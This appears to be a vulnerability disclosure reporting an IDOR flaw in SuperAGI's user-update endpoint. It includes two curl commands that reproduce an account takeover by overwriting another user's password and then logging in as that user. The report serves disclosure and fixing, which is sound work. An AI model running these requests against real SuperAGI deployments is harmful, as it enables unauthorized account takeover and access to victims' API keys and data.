Gửi #791075: SuperAGI up to c3c1982 Authorization Bypass Through User-Controlled Key (CWE-639)

# Technical Details
An Insecure Direct Object Reference (IDOR) exists in the `update_user` method in `superagi/controllers/user.py` of SuperAGI.

The application fails to verify that the requesting authenticated user has permission to modify the target user account. The endpoint only validates the JWT token via `Depends(check_auth)` but does not verify that the authenticated user matches the `user_id` in the URL.

# Vulnerable Code
File: superagi/controllers/user.py
Method: update_user (lines 117-144)
Why: The endpoint directly queries `User.id == user_id` without checking if the requesting user owns that account or shares the same organization. It then overwrites the victim's name, email, and password with attacker-supplied values.

# Reproduction
1. Authenticate with an attacker account and obtain a valid JWT.
2. Change the victim's password (user_id=2, different org):
curl -s -X PUT -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" "http://localhost:3000/api/users/update/2" -d '{"name":"Victim","email":"[email protected]","password":"attacker_controlled"}'
3. Log in as the victim using the new password:
curl -s -X POST "http://localhost:8001/login" -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"attacker_controlled"}'

# Impact
- Account Takeover: Attacker changes any user's password and logs in as that user.
- Privilege Escalation: If admin users exist, attacker can take over admin accounts.
- Data Breach: Full access to victim's agents, API keys, configurations, and execution history.
